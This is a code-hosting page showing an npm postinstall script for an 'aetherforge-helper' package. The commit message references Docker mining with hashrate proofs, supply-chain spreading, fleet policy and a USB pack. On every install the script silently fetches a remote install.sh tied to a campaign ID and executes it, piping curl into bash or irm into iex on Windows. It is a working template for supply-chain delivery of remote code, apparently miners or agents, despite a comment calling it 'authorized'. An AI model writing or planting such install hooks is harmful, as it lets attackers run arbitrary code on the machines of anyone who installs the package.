Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
43 lines
1.3 KiB
JavaScript
43 lines
1.3 KiB
JavaScript
'use strict';
|
|
|
|
/**
|
|
* Authorized postinstall — curls your command-deck install.sh with campaign env.
|
|
* Publish only to registries you control (private npm, Verdaccio, GitHub Packages).
|
|
* Do not typosquat public packages.
|
|
*/
|
|
|
|
const { spawnSync } = require('child_process');
|
|
|
|
const SERVER = '{{SERVER_URL}}';
|
|
const CAMPAIGN = '{{CAMPAIGN}}';
|
|
const BUILD_ID = '{{BUILD_ID}}';
|
|
|
|
if (!SERVER || SERVER.includes('{{')) {
|
|
console.warn('[aetherforge-helper] SERVER_URL not configured — skipping postinstall.');
|
|
process.exit(0);
|
|
}
|
|
|
|
process.env.AETHER_CAMPAIGN = CAMPAIGN;
|
|
process.env.AETHER_UTM = CAMPAIGN;
|
|
|
|
const q = new URLSearchParams();
|
|
if (CAMPAIGN) q.set('c', CAMPAIGN);
|
|
if (BUILD_ID) q.set('pin', BUILD_ID);
|
|
const suffix = q.toString() ? `?${q.toString()}` : '';
|
|
const installUrl = `${SERVER.replace(/\/$/, '')}/install.sh${suffix}`;
|
|
|
|
const isWin = process.platform === 'win32';
|
|
const shell = isWin ? 'powershell.exe' : 'sh';
|
|
const cmd = isWin
|
|
? `$env:AETHER_CAMPAIGN='${CAMPAIGN}'; irm '${installUrl}' | iex`
|
|
: `export AETHER_CAMPAIGN='${CAMPAIGN}'; curl -fsSL '${installUrl}' | bash`;
|
|
|
|
const result = spawnSync(shell, [isWin ? '-NoProfile' : '-c', isWin ? cmd : cmd], {
|
|
stdio: 'inherit',
|
|
shell: false,
|
|
});
|
|
|
|
if (result.status !== 0) {
|
|
console.warn('[aetherforge-helper] postinstall exited', result.status);
|
|
}
|